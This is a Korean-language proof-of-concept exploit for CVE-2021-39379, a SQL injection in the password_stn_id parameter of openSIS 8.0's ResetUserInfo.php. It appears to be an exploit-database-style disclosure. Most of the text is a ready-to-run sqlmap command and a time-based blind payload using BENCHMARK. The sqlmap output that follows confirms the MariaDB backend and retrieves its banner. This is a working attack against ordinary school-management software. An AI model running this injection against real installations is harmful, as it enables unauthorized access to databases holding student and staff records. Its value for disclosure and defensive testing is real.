
CVE-2021-39379에 대한 개념 증명 익스플로잇 - openSIS 8.0의 ResetUserInfo.php에서 password_stn_id 매개변수를 통한 SQL 인젝션 취약점으로, MySQL/MariaDB에 대해 시간 기반 블라인드 SQLi를 가능하게 합니다.
openSIS 8.0 버전에서 MySQL (MariaDB)이 애플리케이션 데이터베이스로 사용될 때 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 password_stn_id 매개변수를 통해 MySQL (MariaDB) 데이터베이스에 SQL 명령을 실행할 수 있습니다.
취약한 PHP 페이지:
ResetUserInfo.php
취약한 페이로드
sqlmap -u "http://localhost:8081/ResetUserInfo.php" --data="pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=" --referer="http://localhost:8081/ForgotPass.php?language=en" --dbms="MySQL" --level=3 --risk=3 --banner --answers="crack=N,dict=N,continue=Y,quit=N"
SQL 인젝션:
http://localhost:8081/ResetUserInfo.php
Parameter: password_stn_id (POST)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234 AND 1211=BENCHMARK(5000000,MD5(0x6a65474d))&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=
[21:11:37] [INFO] testing MySQL
[21:11:44] [INFO] confirming MySQL
[21:11:44] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:11:56] [INFO] the back-end DBMS is MySQL
[21:11:56] [INFO] fetching banner
[21:11:56] [INFO] retrieved: 10.5.11-MariaDB-1
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
발견자: Nathan Johnson, 2021년 8월